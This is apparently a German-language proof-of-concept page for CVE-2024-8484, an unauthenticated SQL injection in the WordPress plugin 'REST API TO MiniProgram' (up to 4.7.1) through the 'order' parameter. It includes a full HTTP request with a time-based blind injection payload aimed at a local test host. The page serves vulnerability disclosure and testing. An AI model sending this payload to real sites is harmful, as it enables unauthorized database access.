randomrobbiebf/cve-2024-8484REST API TO MiniProgram <= 4.7.1 - Nicht authentifizierte SQL-Injection
REST API TO MiniProgram <= 4.7.1 - Nicht authentifizierte SQL-Injection
CVE: CVE-2024-8484
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 7.5
Slugs: rest-api-to-miniprogram
Das REST API TO MiniProgram-Plugin für WordPress ist in allen Versionen bis einschließlich 4.7.1 anfällig für SQL-Injection über den 'order'-Parameter des REST-API-Endpunkts /wp-json/watch-life-net/v1/comment/getcomments. Grund dafür ist unzureichendes Escaping des benutzerbereitgestellten Parameters sowie fehlende ausreichende Vorbereitung der bestehenden SQL-Abfrage. Dadurch können nicht authentifizierte Angreifer zusätzliche SQL-Abfragen an bereits bestehende Abfragen anhängen, um vertrauliche Informationen aus der Datenbank zu extrahieren.
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(10)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/post-new.php?post_type=page
Connection: keep-alive
If-Modified-Since: Mon, 16 Sep 2024 18:56:28 GMT
If-None-Match: "5a3-62241215fdfaa-gzip"
Priority: u=2
